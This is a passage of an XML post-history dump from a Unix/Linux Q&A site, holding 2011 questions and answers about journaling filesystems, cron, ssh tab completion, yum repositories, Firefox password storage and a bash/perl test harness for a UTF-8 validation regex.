it can be much slower.&#xD;&#xA;&#xD;&#xA;For more information, take a look at the [Wikipedia Journaling File System article](http://en.wikipedia.org/wiki/Journaling_file_system) and the Data Mode section of the [ext4 documentation](http://www.kernel.org/doc/Documentation/filesystems/ext4.txt)." />
  <row Id="31199" PostHistoryTypeId="5" PostId="12709" RevisionGUID="8d5ee333-cb96-4799-9044-a83b98465a25" CreationDate="2011-05-06T06:23:16.557" UserId="3169" Comment="added 38 characters in body; added 198 characters in body" Text="No.&#xD;&#xA;&#xD;&#xA;The most common type of journaling, called metadata journaling, only protects the integrity of the file system, not of data.  This includes `xfs`, and `ext3`/`ext4` in the default `data=ordered` mode.&#xD;&#xA;&#xD;&#xA;If a non-journaling file system suffers a crash, it will be checked using `fsck` on the next boot.  `fsck` scans every [inode](http://en.wikipedia.org/wiki/Inode) on the file system, looking for blocks that are marked as used but are not reachable (i.e. have no file name), and marks those blocks as unused.  Doing this takes a long time.&#xD;&#xA;&#xD;&#xA;With a metadata journaling file system, instead of doing an `fsck`, it knows which blocks it was in the middle of changing, so it can mark them as free without searching the whole partition for them.&#xD;&#xA;&#xD;&#xA;There is a less common type of journaling, called data journaling, which is what `ext3` does if you mount it with the `data=journal` option.&#xD;&#xA;&#xD;&#xA;It attempts to protect all your data by writing not just a list of logical operations, but also the entire contents of each write to the journal.  But because it's writing your data twice, it can be much slower.&#xD;&#xA;&#xD;&#xA;As others have pointed out, even this is not a guarantee, because the hard drive might have told the operating system it had stored the data, when it fact it was still in the hard drive's cache.&#xD;&#xA;&#xD;&#xA;For more information, take a look at the [Wikipedia Journaling File System article](http://en.wikipedia.org/wiki/Journaling_file_system) and the Data Mode section of the [ext4 documentation](http://www.kernel.org/doc/Documentation/filesystems/ext4.txt)." />
  <row Id="31200" PostHistoryTypeId="2" PostId="12710" RevisionGUID="95fc1647-251f-41a1-8baf-e6c2a4374dc2" CreationDate="2011-05-06T06:36:30.197" UserId="1925" Text="Monkeying with the algorithm for tab complete to rip a couple items out of the pool is more complicated than you imagine. It actually can be done but it's not easy, efficient to use or recommended.&#xD;&#xA;&#xD;&#xA;Instead, @jasonwryan was on the right track that you should come up with something else for your command name. However instead of trying to stay with one word, the name of a server as a command name, I recommend you switch models to a multi word model like the rest of Unix. Tab completion for command names is quite different than tab completion for arguments, the latter is quite easy.&#xD;&#xA;&#xD;&#xA;Setup a short easy alias like 's' or whatever your connect alias is, but don't include the host name. Then setup a custom completion routine for that command that ONLY autocompletes to host names like:&#xD;&#xA;&#xD;&#xA;    alias s=ssh&#xD;&#xA;    complete -F _known_hosts_real s&#xD;&#xA;&#xD;&#xA;You could also create a custom function for this:&#xD;&#xA;&#xD;&#xA;    alias s=ssh&#xD;&#xA;    _my_hosts() {&#xD;&#xA;        type compopt &amp;&gt;/dev/null &amp;&amp; compopt -o nospace&#xD;&#xA;        COMPREPLY=( $( compgen -S = -W 'flexo mexo dexo' -- &quot;$cur&quot;) )&#xD;&#xA;    }&#xD;&#xA;    complete -F _my_hosts s" />
  <row Id="31201" PostHistoryTypeId="2" PostId="12711" RevisionGUID="1041b61c-2ecf-49ea-a5ea-d9a310a9641b" CreationDate="2011-05-06T07:03:21.993" UserId="6960" Text="If I (e.g.: under Fedora) edit the crontab file with vim, then I restart crond:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;	/etc/init.d/crond restart&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;then the actual crontab file: &quot;/etc/crontab&quot; is the same as the actual cronjobs in reality. Ok!&lt;br&gt;&#xD;&#xA;But:&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Q: How could I list the real-actual cronjobs, if the &quot;/etc/crontab&quot; file gets modified, but the crond not reloaded? Then the real-actual cronjobs aren't the same as the &quot;/etc/crontab&quot; file.&lt;br&gt;&#xD;&#xA;Thank you!" />
  <row Id="31202" PostHistoryTypeId="1" PostId="12711" RevisionGUID="1041b61c-2ecf-49ea-a5ea-d9a310a9641b" CreationDate="2011-05-06T07:03:21.993" UserId="6960" Text="How to list the actual cronjobs?" />
  <row Id="31203" PostHistoryTypeId="3" PostId="12711" RevisionGUID="1041b61c-2ecf-49ea-a5ea-d9a310a9641b" CreationDate="2011-05-06T07:03:21.993" UserId="6960" Text="écronà" />
  <row Id="31204" PostHistoryTypeId="2" PostId="12712" RevisionGUID="836bede6-e1df-47cd-828b-09f1a7cf2274" CreationDate="2011-05-06T07:09:05.770" UserId="7265" Text="Use zcat, then pipe it to less.&#xD;&#xA;&#xD;&#xA;zcat $FILE | less" />
  <row Id="31205" PostHistoryTypeId="2" PostId="12713" RevisionGUID="7e848558-d532-4215-8248-939db22d677b" CreationDate="2011-05-06T07:17:02.953" UserId="6960" Text="http://www.geekzone.co.nz/foobar/6229&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;How can I fully disable the .desktop file function under GNOME?" />
  <row Id="31206" PostHistoryTypeId="1" PostId="12713" RevisionGUID="7e848558-d532-4215-8248-939db22d677b" CreationDate="2011-05-06T07:17:02.953" UserId="6960" Text="fully disable the .desktop file function under GNOME?" />
  <row Id="31207" PostHistoryTypeId="3" PostId="12713" RevisionGUID="7e848558-d532-4215-8248-939db22d677b" CreationDate="2011-05-06T07:17:02.953" UserId="6960" Text="égnomeàésecurityà" />
  <row Id="31208" PostHistoryTypeId="2" PostId="12714" RevisionGUID="68a00de5-4dfc-4d41-8201-f0e3dab186b0" CreationDate="2011-05-06T07:17:54.920" UserId="885" Text="All the implementations of cron that I know of re-read `/etc/crontab` every minute, i.e. as often as they execute jobs. So the “real-actual” cron jobs are the ones in the crontab file.&#xD;&#xA;&#xD;&#xA;There are (or were) a few buggy implementations of cron that check for jobs to execute first and only then check the crontabs. This causes one minute's delay between setting the jobs and running them. I don't think any of the current cron implementations on Linux (there are several) are affected.&#xD;&#xA;" />
  <row Id="31209" PostHistoryTypeId="2" PostId="12715" RevisionGUID="03b65986-1df2-4998-b60c-10db2dff2099" CreationDate="2011-05-06T07:40:00.400" UserId="6960" Text="If I have:&#xD;&#xA;&#xD;&#xA;	[usern@hostn yum.repos.d]$ cat google-chrome.repo &#xD;&#xA;	[google-chrome]&#xD;&#xA;	name=google-chrome&#xD;&#xA;	baseurl=http://dl.google.com/linux/chrome/rpm/stable/i386&#xD;&#xA;	enabled=1&#xD;&#xA;	gpgcheck=1&#xD;&#xA;	[usern@hostn yum.repos.d]$ &#xD;&#xA;&#xD;&#xA;then how can I ensure that there will not be incidents like (just theory): a firefox package comes out in the google chrome repo, and because (just theory again) it has a newer version then the one that's in the original repos it gets installed when updating.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Q: How could I ensure that that from the google-chrome-repos I only get the google-chrome package?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thanks." />
  <row Id="31210" PostHistoryTypeId="1" PostId="12715" RevisionGUID="03b65986-1df2-4998-b60c-10db2dff2099" CreationDate="2011-05-06T07:40:00.400" UserId="6960" Text="How to only allow exact package updates from a repository?" />
  <row Id="31211" PostHistoryTypeId="3" PostId="12715" RevisionGUID="03b65986-1df2-4998-b60c-10db2dff2099" CreationDate="2011-05-06T07:40:00.400" UserId="6960" Text="ésecurityà" />
  <row Id="31212" PostHistoryTypeId="5" PostId="12712" RevisionGUID="51c41ff8-ce72-49b1-94d7-152d8cf026f2" CreationDate="2011-05-06T07:42:27.697" UserId="73" Comment="added 10 characters in body" Text="Use `zcat`, then pipe it to `less`.&#xD;&#xA;&#xD;&#xA;    $ zcat $FILE | less" />
  <row Id="31213" PostHistoryTypeId="2" PostId="12716" RevisionGUID="e1ad716c-f359-4452-9069-d8d64851201f" CreationDate="2011-05-06T07:45:07.373" UserId="6960" Text="E.g: I need to know when was the last time a pendrive was mounted. Where could I see that? The pendrive has e.g.: FAT32, EXT3 filesystem.&lt;br&gt;&#xD;&#xA;Thank you." />
  <row Id="31214" PostHistoryTypeId="1" PostId="12716" RevisionGUID="e1ad716c-f359-4452-9069-d8d64851201f" CreationDate="2011-05-06T07:45:07.373" UserId="6960" Text="Where can I see the last mount time?" />
  <row Id="31215" PostHistoryTypeId="3" PostId="12716" RevisionGUID="e1ad716c-f359-4452-9069-d8d64851201f" CreationDate="2011-05-06T07:45:07.373" UserId="6960" Text="éfilesystemsà" />
  <row Id="31216" PostHistoryTypeId="2" PostId="12717" RevisionGUID="ee20473d-fd41-4a1d-87d6-f1be4d90bbc0" CreationDate="2011-05-06T07:49:46.593" UserId="6167" Text="Passwords and client SSL certificates are stored in database files like key3.db under your Firefox profile directory.  Those passwords and certificates are secure (not stored as plain-text) if, and only if, you have a master password set in Firefox.  You can set the master password under Preferences -&gt; Security.  Once a master password is set, you will need to enter it the first time Firefox attempt to access the secure store or attempts a SSL connection.  You can also set a timeout, IIRC, for Firefox to forget the master password and it will ask next time it's needed.  Without a master password, there is no way for Firefox to securely store something that only it/the user can see." />
  <row Id="31217" PostHistoryTypeId="2" PostId="12718" RevisionGUID="6766d1e7-f3fe-47c8-a152-ef5b297a5a5b" CreationDate="2011-05-06T08:04:30.793" UserId="1078" Text="ext3 stores the last mount time and can be retrieved with:&#xD;&#xA;&#xD;&#xA;    dumpe2fs -h /dev/node&#xD;&#xA;&#xD;&#xA;I'm not sure that FAT stores this information." />
  <row Id="31218" PostHistoryTypeId="6" PostId="12715" RevisionGUID="ab1881a2-d27e-4379-8fb0-f5f74ceb06a0" CreationDate="2011-05-06T08:14:56.307" UserId="885" Comment="edited tags" Text="éyumà" />
  <row Id="31219" PostHistoryTypeId="6" PostId="12716" RevisionGUID="af9b3e2d-19b6-46b0-b082-cd37aeae1ea5" CreationDate="2011-05-06T08:15:22.187" UserId="885" Comment="edited tags" Text="éfilesystemsàéext3àéfatà" />
  <row Id="31220" PostHistoryTypeId="5" PostId="12545" RevisionGUID="3a04abb9-7527-434d-bf04-977dc933729b" CreationDate="2011-05-06T08:29:55.353" UserId="2343" Comment="bug fix and better testing; added 16 characters in body; edited body; deleted 1 characters in body" Text="Edit: I've fixed a typo-bug in the regex.. It needed a '\x80` not *\80*.  &#xD;&#xA;&#xD;&#xA;The regex to filter out invalid UTF-8 forms, for **strict** adherance to UTF-8, is as follows  &#xD;&#xA;  &#xD;&#xA;    perl -l -ne '/&#xD;&#xA;     ^( ([\x00-\x7F])              # 1-byte pattern&#xD;&#xA;       |([\xC2-\xDF][\x80-\xBF])   # 2-byte pattern&#xD;&#xA;       |((([\xE0][\xA0-\xBF])|([\xED][\x80-\x9F])|([\xE1-\xEC\xEE-\xEF][\x80-\xBF]))([\x80-\xBF])) # 3-byte pattern&#xD;&#xA;       |((([\xF0][\x90-\xBF])|([\xF1-\xF3][\x80-\xBF])|([\xF4][\x80-\x8F]))([\x80-\xBF]{2}))       # 4-byte pattern&#xD;&#xA;      )*$ /x or print'&#xD;&#xA;&#xD;&#xA;Output (of key lines.from *Test 1*):&#xD;&#xA;&#xD;&#xA;    Codepoint&#xD;&#xA;    =========  &#xD;&#xA;    00001000  Test=1 mode=strict               valid,invalid,fail=(1000,0,0)          &#xD;&#xA;    0000E000  Test=1 mode=strict               valid,invalid,fail=(D800,800,0)          &#xD;&#xA;    0010FFFF  mode=strict  test-return=(0,0)   valid,invalid,fail=(10F800,800,0)          &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Q. How does one create test data to test a regex which filters invalid Unicode ?  &#xD;&#xA;A. Create your own UTF-8 test algorithm, and break it's rules...   &#xD;&#xA;Catch-22.. *But then, how do you then test your test algorithm?*&#xD;&#xA;  &#xD;&#xA;The regex, above, has been tested (using `iconv` as the reference) for every integer value from `0x00000` to `0x10FFFF`..  This upper value being the [maximum integer value of a Unicode Codepoint](http://en.wikipedia.org/wiki/UTF-8#History)    &#xD;&#xA;&#xD;&#xA;  * [In November 2003 UTF-8 was restricted by RFC 3629 to four bytes covering only the range U+0000 to U+10FFFF, in order to match the constraints of the UTF-16 character encoding.](http://en.wikipedia.org/wiki/UTF-8#History)`&#xD;&#xA;&#xD;&#xA;According to this [wikipedia UTF-8](http://en.wikipedia.org/wiki/UTF-8) page,.  &#xD;&#xA;&#xD;&#xA;  * UTF-8 encodes each of the 1,112,064 code points in the Unicode character set, using one to four 8-bit bytes  &#xD;&#xA;&#xD;&#xA;This numeber (1,112,064) equates to a range `0x000000` to `0x10F7FF`, which is 0x0800 shy of the actual maximum integer-value for the highest Unicode Codepoint: `0x10FFFF`   &#xD;&#xA;&#xD;&#xA;This *block of integers* is missing from the Unicode Codepoints spectrum, because of the need for the UTF-16 encoding to *step beyond its original design intent* via a system called [surrogate pairs](http://en.wikipedia.org/wiki/UTF-8#Invalid_code_points).  A block of `0x0800` integers has been reserved to be used by UTF-16.. This block spans the range` 0x00D800` to `0x00DFFF`. None of these inteters are legal Unicode values, and are therefore invalid UTF-8 values.   &#xD;&#xA;&#xD;&#xA;In **Test 1**, the `regex` has been tested against every number in the range of Unicode Codepoints, and it matches exectly the results of `iconv`  ..  ie. *0x010F7FF* valid values, and *0x000800* invalid values.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;However, the issue now arises of, *How does the regex handle Out-Of-Range UTF-8 Value; above `0x010FFFF` (UTF-8 can extend to 6 bytes, with a maximum integer value of [0x7FFFFFFF](http://en.wikipedia.org/wiki/UTF-8#Design)?  &#xD;&#xA;To generate the necessary **non-unicode UTF-8 byte values*, I've used the following command:  &#xD;&#xA;&#xD;&#xA;      perl -C -e 'print chr 0x'$hexUTF32BE&#xD;&#xA;    &#xD;&#xA;To test their validity (in some fashion), I've used `Gilles'` UTF-8 regex...   &#xD;&#xA;&#xD;&#xA;      perl -l -ne '/&#xD;&#xA;       ^( [\000-\177]                 # 1-byte pattern&#xD;&#xA;         |[\300-\337][\200-\277]      # 2-byte pattern&#xD;&#xA;         |[\340-\357][\200-\277]{2}   # 3-byte pattern&#xD;&#xA;         |[\360-\367][\200-\277]{3}   # 4-byte pattern&#xD;&#xA;         |[\370-\373][\200-\277]{4}   # 5-byte pattern&#xD;&#xA;         |[\374-\375][\200-\277]{5}   # 6-byte pattern&#xD;&#xA;        )*$ /x or print'&#xD;&#xA;&#xD;&#xA;The output of 'perl's print chr' matches the filtering of Gilles' regex.. One reinforces the validity of the other.. &#xD;&#xA;I can't use `iconv` because it only handles the valid-Unicode Standard subset of the broader (original) UTF-8 standard... &#xD;&#xA;&#xD;&#xA;The nunbers involved are rather large, so I've tested top-of-range, bottom-of-range, and several scans stepping by increments such as, 11111, 13579, 33333, 53441... The results all match, so now all that remains is to test the regex against these out-of-range UTF-8-style values (invalid for Unicode, and therefore also invalid for strict UTF-8 itself) ..&#xD;&#xA;   &#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Here are the test modules: &#xD;&#xA;&#xD;&#xA;    [[ &quot;$(locale charmap)&quot; != &quot;UTF-8&quot; ]] &amp;&amp; { echo &quot;ERROR: locale must be UTF-8, but it is $(locale charmap)&quot;; exit 1; }&#xD;&#xA;&#xD;&#xA;    # Testing the UTF-8 regex&#xD;&#xA;    #&#xD;&#xA;    # Tests to check that the observed byte-ranges (above) have&#xD;&#xA;    #  been  accurately observed and included in the test code and final regex. &#xD;&#xA;    # =========================================================================&#xD;&#xA;    : 2 bytes; B2=0 #  run-test=1   do-not-test=0&#xD;&#xA;    : 3 bytes; B3=0 #  run-test=1   do-not-test=0&#xD;&#xA;    : 4 bytes; B4=0 #  run-test=1   do-not-test=0 &#xD;&#xA;&#xD;&#xA;    :   regex; Rx=1 #  run-test=1   do-not-test=0&#xD;&#xA;&#xD;&#xA;               ((strict=16)); mode[$strict]=strict # iconv -f UTF-16BE  then iconv -f UTF-32BE beyond 0xFFFF)&#xD;&#xA;               ((   lax=32)); mode[$lax]=lax       # iconv -f UTF-32BE  only)&#xD;&#xA;    &#xD;&#xA;              # modebits=$strict&#xD;&#xA;                      # UTF-8, in relation to UTF-16 has invalid values&#xD;&#xA;                      # modebits=$strict automatically shifts to modebits=$lax&#xD;&#xA;                      # when the tested integer exceeds 0xFFFF&#xD;&#xA;              # modebits=$lax &#xD;&#xA;                      # UTF-8, in relation to UTF-32, has no restrictione&#xD;&#xA;               &#xD;&#xA;               &#xD;&#xA;               # Test 1 Sequentially tests a range of Big-Endian integers&#xD;&#xA;               #      * Unicode Codepoints are a subset ofBig-Endian integers            &#xD;&#xA;               #        ( based on 'iconv' -f UTF-32BE -f UTF-8 )    &#xD;&#xA;               # Note: strict UTF-8 has a few quirks because of UTF-16&#xD;&#xA;                        #    Set modebits=16 to &quot;strictly&quot; test the low range&#xD;&#xA;&#xD;&#xA;                 Test=1; modebits=$strict&#xD;&#xA;               # Test=2; modebits=$lax&#xD;&#xA;               # Test=3&#xD;&#xA;                  mode3wlo=$(( 1*4)) # minimum chars * 4 ( '4' is for UTF-32BE )&#xD;&#xA;                  mode3whi=$((10*4)) # minimum chars * 4 ( '4' is for UTF-32BE )&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    #########################################################################  &#xD;&#xA;&#xD;&#xA;    # 1 byte  UTF-8 values: Nothing to do; no complexities.&#xD;&#xA;&#xD;&#xA;    #########################################################################&#xD;&#xA;&#xD;&#xA;    #  2 Byte  UTF-8 values:  Verifying that I've got the right range values.&#xD;&#xA;    if ((B2==1)) ; then  &#xD;&#xA;      echo &quot;# Test 2 bytes for Valid UTF-8 values: ie. values which are in range&quot;&#xD;&#xA;      # =========================================================================&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {194..223} ;do&#xD;&#xA;          #     bin       oct  hex  dec&#xD;&#xA;          # lo  11000010  302   C2  194&#xD;&#xA;          # hi  11011111  337   DF  223&#xD;&#xA;          B2b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          for d2 in {128..191} ;do&#xD;&#xA;              #     bin       oct  hex  dec&#xD;&#xA;              # lo  10000000  200   80  128&#xD;&#xA;              # hi  10111111  277   BF  191&#xD;&#xA;              B2b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              #&#xD;&#xA;              echo -n &quot;${B2b1}${B2b2}&quot; |&#xD;&#xA;                xxd -p -u -r  |&#xD;&#xA;                  iconv -f UTF-8 &gt;/dev/null || { &#xD;&#xA;                    echo &quot;ERROR: Invalid UTF-8 found: ${B2b1}${B2b2}&quot;; exit 20; }&#xD;&#xA;              #&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;      &#xD;&#xA;      # Now do a negated test.. This takes longer, because there are more values.&#xD;&#xA;      echo &quot;# Test 2 bytes for Invalid values: ie. values which are out of range&quot;&#xD;&#xA;      # =========================================================================&#xD;&#xA;      # Note: 'iconv' will treat a leading  \x00-\x7F as a valid leading single,&#xD;&#xA;      #   so this negated test primes the first UTF-8 byte with values starting at \x80&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {128..193} {224..255} ;do &#xD;&#xA;     #for d1 in {128..194} {224..255} ;do # force a valid UTF-8 (needs $B2b2) &#xD;&#xA;          B2b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          for d2 in {0..127} {192..255} ;do&#xD;&#xA;         #for d2 in {0..128} {192..255} ;do # force a valid UTF-8 (needs $B2b1)&#xD;&#xA;              B2b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              #&#xD;&#xA;              echo -n &quot;${B2b1}${B2b2}&quot; |&#xD;&#xA;                xxd -p -u -r |&#xD;&#xA;                  iconv -f UTF-8 2&gt;/dev/null &amp;&amp; { &#xD;&#xA;                    echo &quot;ERROR: VALID UTF-8 found: ${B2b1}${B2b2}&quot;; exit 21; }&#xD;&#xA;              #&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    #########################################################################&#xD;&#xA;&#xD;&#xA;    #  3 Byte  UTF-8 values:  Verifying that I've got the right range values.&#xD;&#xA;    if ((B3==1)) ; then  &#xD;&#xA;      echo &quot;# Test 3 bytes for Valid UTF-8 values: ie. values which are in range&quot;&#xD;&#xA;      # ========================================================================&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {224..239} ;do&#xD;&#xA;          #     bin       oct  hex  dec&#xD;&#xA;          # lo  11100000  340   E0  224&#xD;&#xA;          # hi  11101111  357   EF  239&#xD;&#xA;          B3b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          if   [[ $B3b1 == &quot;E0&quot; ]] ; then&#xD;&#xA;              B3b2range=&quot;$(echo {160..191})&quot;&#xD;&#xA;              #     bin       oct  hex  dec  &#xD;&#xA;              # lo  10100000  240   A0  160  &#xD;&#xA;              # hi  10111111  277   BF  191&#xD;&#xA;          elif [[ $B3b1 == &quot;ED&quot; ]] ; then&#xD;&#xA;              B3b2range=&quot;$(echo {128..159})&quot;&#xD;&#xA;              #     bin       oct  hex  dec  &#xD;&#xA;              # lo  10000000  200   80  128  &#xD;&#xA;              # hi  10011111  237   9F  159&#xD;&#xA;          else&#xD;&#xA;              B3b2range=&quot;$(echo {128..191})&quot;&#xD;&#xA;              #     bin       oct  hex  dec&#xD;&#xA;              # lo  10000000  200   80  128&#xD;&#xA;              # hi  10111111  277   BF  191&#xD;&#xA;          fi&#xD;&#xA;          # &#xD;&#xA;          for d2 in $B3b2range ;do&#xD;&#xA;              B3b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              echo &quot;${B3b1} ${B3b2} xx&quot;&#xD;&#xA;              #&#xD;&#xA;              for d3 in {128..191} ;do&#xD;&#xA;                  #     bin       oct  hex  dec&#xD;&#xA;                  # lo  10000000  200   80  128&#xD;&#xA;                  # hi  10111111  277   BF  191&#xD;&#xA;                  B3b3=$(printf &quot;%0.2X&quot; $d3)&#xD;&#xA;                  #&#xD;&#xA;                  echo -n &quot;${B3b1}${B3b2}${B3b3}&quot; |&#xD;&#xA;                    xxd -p -u -r  |&#xD;&#xA;                      iconv -f UTF-8 &gt;/dev/null || { &#xD;&#xA;                        echo &quot;ERROR: Invalid UTF-8 found: ${B3b1}${B3b2}${B3b3}&quot;; exit 30; }&#xD;&#xA;                  #&#xD;&#xA;              done&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;&#xD;&#xA;      # Now do a negated test.. This takes longer, because there are more values.&#xD;&#xA;      echo &quot;# Test 3 bytes for Invalid values: ie. values which are out of range&quot;&#xD;&#xA;      # =========================================================================&#xD;&#xA;      # Note: 'iconv' will treat a leading  \x00-\x7F as a valid leading single,&#xD;&#xA;      #   so this negated test primes the first UTF-8 byte with values starting at \x80&#xD;&#xA;      #&#xD;&#xA;      # real     26m28.462s \ &#xD;&#xA;      # user     27m12.526s  | stepping by 2&#xD;&#xA;      # sys      13m11.193s /&#xD;&#xA;      #&#xD;&#xA;      # real    239m00.836s \&#xD;&#xA;      # user    225m11.108s  | stepping by 1&#xD;&#xA;      # sys     120m00.538s /&#xD;&#xA;      #&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {128..223..1} {240..255..1} ;do &#xD;&#xA;     #for d1 in {128..224..1} {239..255..1} ;do # force a valid UTF-8 (needs $B2b2,$B3b3) &#xD;&#xA;          B3b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          if   [[ $B3b1 == &quot;E0&quot; ]] ; then&#xD;&#xA;              B3b2range=&quot;$(echo {0..159..1} {192..255..1})&quot;&#xD;&#xA;             #B3b2range=&quot;$(&gt; {192..255..1})&quot; # force a valid UTF-8 (needs $B3b1,$B3b3)&#xD;&#xA;          elif [[ $B3b1 == &quot;ED&quot; ]] ; then&#xD;&#xA;              B3b2range=&quot;$(echo {0..127..1} {160..255..1})&quot;&#xD;&#xA;             #B3b2range=&quot;$(echo {0..128..1} {160..255..1})&quot; # force a valid UTF-8 (needs $B3b1,$B3b3)&#xD;&#xA;          else&#xD;&#xA;              B3b2range=&quot;$(echo {0..127..1} {192..255..1})&quot;&#xD;&#xA;             #B3b2range=&quot;$(echo {0..128..1} {192..255..1})&quot; # force a valid UTF-8 (needs $B3b1,$B3b3)&#xD;&#xA;          fi&#xD;&#xA;          for d2 in $B3b2range ;do&#xD;&#xA;              B3b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              echo &quot;${B3b1} ${B3b2} xx&quot;&#xD;&#xA;              #&#xD;&#xA;              for d3 in {0..127..1} {192..255..1} ;do&#xD;&#xA;             #for d3 in {0..128..1} {192..255..1} ;do # force a valid UTF-8 (needs $B2b1)&#xD;&#xA;                  B3b3=$(printf &quot;%0.2X&quot; $d3)&#xD;&#xA;                  #&#xD;&#xA;                  echo -n &quot;${B3b1}${B3b2}${B3b3}&quot; |&#xD;&#xA;                    xxd -p -u -r |&#xD;&#xA;                      iconv -f UTF-8 2&gt;/dev/null &amp;&amp; { &#xD;&#xA;                        echo &quot;ERROR: VALID UTF-8 found: ${B3b1}${B3b2}${B3b3}&quot;; exit 31; }&#xD;&#xA;                  #&#xD;&#xA;              done&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo&#xD;&#xA;&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    #########################################################################&#xD;&#xA;&#xD;&#xA;    #  Brute force testing in the Astral Plane will take a VERY LONG time..&#xD;&#xA;    #  Perhaps selective testing is more appropriate, now that the previous tests &#xD;&#xA;    #     have panned out okay... &#xD;&#xA;    #  &#xD;&#xA;    #  4 Byte  UTF-8 values:&#xD;&#xA;    if ((B4==1)) ; then  &#xD;&#xA;      echo &quot;# Test 4 bytes for Valid UTF-8 values: ie. values which are in range&quot;&#xD;&#xA;      # ==================================================================&#xD;&#xA;      # real    58m18.531s \&#xD;&#xA;      # user    56m44.317s  | &#xD;&#xA;      # sys     27m29.867s /&#xD;&#xA;      time \&#xD;&#xA;      for d1 in {240..244} ;do&#xD;&#xA;          #     bin       oct  hex  dec&#xD;&#xA;          # lo  11110000  360   F0  240&#xD;&#xA;          # hi  11110100  364   F4  244  -- F4 encodes some values greater than 0x10FFFF;&#xD;&#xA;          #                                    such a sequence is invalid.&#xD;&#xA;          B4b1=$(printf &quot;%0.2X&quot; $d1)&#xD;&#xA;          #&#xD;&#xA;          if   [[ $B4b1 == &quot;F0&quot; ]] ; then&#xD;&#xA;            B4b2range=&quot;$(echo {144..191})&quot; ## f0 90 80 80  to  f0 bf bf bf&#xD;&#xA;            #     bin       oct  hex  dec          010000  --  03FFFF &#xD;&#xA;            # lo  10010000  220   90  144  &#xD;&#xA;            # hi  10111111  277   BF  191&#xD;&#xA;            #                            &#xD;&#xA;          elif [[ $B4b1 == &quot;F4&quot; ]] ; then&#xD;&#xA;            B4b2range=&quot;$(echo {128..143})&quot; ## f4 80 80 80  to  f4 8f bf bf&#xD;&#xA;            #     bin       oct  hex  dec          100000  --  10FFFF &#xD;&#xA;            # lo  10000000  200   80  128  &#xD;&#xA;            # hi  10001111  217   8F  143  -- F4 encodes some values greater than 0x10FFFF;&#xD;&#xA;            #                                    such a sequence is invalid.&#xD;&#xA;          else&#xD;&#xA;            B4b2range=&quot;$(echo {128..191})&quot; ## fx 80 80 80  to  f3 bf bf bf&#xD;&#xA;            #     bin       oct  hex  dec          0C0000  --  0FFFFF&#xD;&#xA;            # lo  10000000  200   80  128          0A0000&#xD;&#xA;            # hi  10111111  277   BF  191&#xD;&#xA;          fi&#xD;&#xA;          #&#xD;&#xA;          for d2 in $B4b2range ;do&#xD;&#xA;              B4b2=$(printf &quot;%0.2X&quot; $d2)&#xD;&#xA;              #&#xD;&#xA;              for d3 in {128..191} ;do&#xD;&#xA;                  #     bin       oct  hex  dec&#xD;&#xA;                  # lo  10000000  200   80  128&#xD;&#xA;                  # hi  10111111  277   BF  191&#xD;&#xA;                  B4b3=$(printf &quot;%0.2X&quot; $d3)&#xD;&#xA;                  echo &quot;${B4b1} ${B4b2} ${B4b3} xx&quot;&#xD;&#xA;                  #&#xD;&#xA;                  for d4 in {128..191} ;do&#xD;&#xA;                      #     bin       oct  hex  dec&#xD;&#xA;                      # lo  10000000  200   80  128&#xD;&#xA;                      # hi  10111111  277   BF  191&#xD;&#xA;                      B4b4=$(printf &quot;%0.2X&quot; $d4)&#xD;&#xA;                      #&#xD;&#xA;                      echo -n &quot;${B4b1}${B4b2}${B4b3}${B4b4}&quot; |&#xD;&#xA;                        xxd -p -u -r  |&#xD;&#xA;                          iconv -f UTF-8 &gt;/dev/null || { &#xD;&#xA;                            echo &quot;ERROR: Invalid UTF-8 found: ${B4b1}${B4b2}${B4b3}${B4b4}&quot;; exit 40; }&#xD;&#xA;                      #&#xD;&#xA;                  done&#xD;&#xA;              done&#xD;&#xA;          done&#xD;&#xA;      done&#xD;&#xA;      echo &quot;# Test 4 bytes for Valid UTF-8 values: END&quot;&#xD;&#xA;      echo&#xD;&#xA;    fi&#xD;&#xA;&#xD;&#xA;    ########################################################################&#xD;&#xA;    # There is no test (yet) for negated range values in the astral plane. #  &#xD;&#xA;    #                           (all negated range values must be invalid) #&#xD;&#xA;    #  I won't bother; This was mainly for me to ge the general feel of    #     &#xD;&#xA;    #   the tests, and the final test below should flush anything out..    #&#xD;&#xA;    # Traversing the intire UTF-8 range takes quite a while...             #&#xD;&#xA;    #   so no need to do it twice (albeit in a slightly different manner)  #&#xD;&#xA;    ########################################################################&#xD;&#xA;&#xD;&#xA;    ################################&#xD;&#xA;    ### The construction of:    ####&#xD;&#xA;    ###  The Regular Expression ####&#xD;&#xA;    ###      (de-construction?) ####&#xD;&#xA;    ################################&#xD;&#xA;&#xD;&#xA;    #     BYTE 1                BYTE 2       BYTE 3      BYTE 4 &#xD;&#xA;    